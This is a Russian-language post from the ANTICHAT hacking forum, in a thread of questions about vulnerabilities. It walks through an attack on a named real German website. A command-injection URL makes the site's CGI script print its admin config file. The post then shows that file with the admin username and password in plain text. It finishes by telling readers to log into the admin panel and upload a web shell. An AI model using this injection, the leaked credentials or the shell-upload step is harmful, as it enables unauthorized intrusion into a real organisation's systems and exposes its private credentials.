ANTICHAT - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Тэк.... Вообщем идём сюда :http://www.insolvenzrechtstag.de/cgi-bin-local/masterpfp.cgi?doc=|cat%20../htdocs/admin/config.inc.php| там подглядываем такое:

Код:

 $login["server"]="localhost";
	$login["user"]=$DBUser;
	$login["password"]=$DBPass;
	$login["database"]="insotag";

	$ftpuser=$login["user"];
	$ftppass=$login["password"];
	
	$ftpserver="www.insolvenzrechtstag.de";
	$ftppfad="www/htdocs/pdfdoc";
	
	$webpfad="../pdfdoc";
	
	$adminuser="insotag";
	$adminpass="hoersaal";

	$admintemplate="../Templates/administration.dwt";
	$erfassentemplate="../Templates/erfassen.dwt";
	$bearbeitentemplate="../Templates/bearbeiten.dwt";
	$loeschentemplate="../Templates/loeschen.dwt";

Отсюда видно, что $adminuser="insotag";
$adminpass="hoersaal";
Потом идём сюда: http://www.insolvenzrechtstag.de/admin/ вводим логин и пароль, проходим в http://www.insolvenzrechtstag.de/admin/index.php?modus=erfassen и заливаем шелл... так как я в немецком нини то...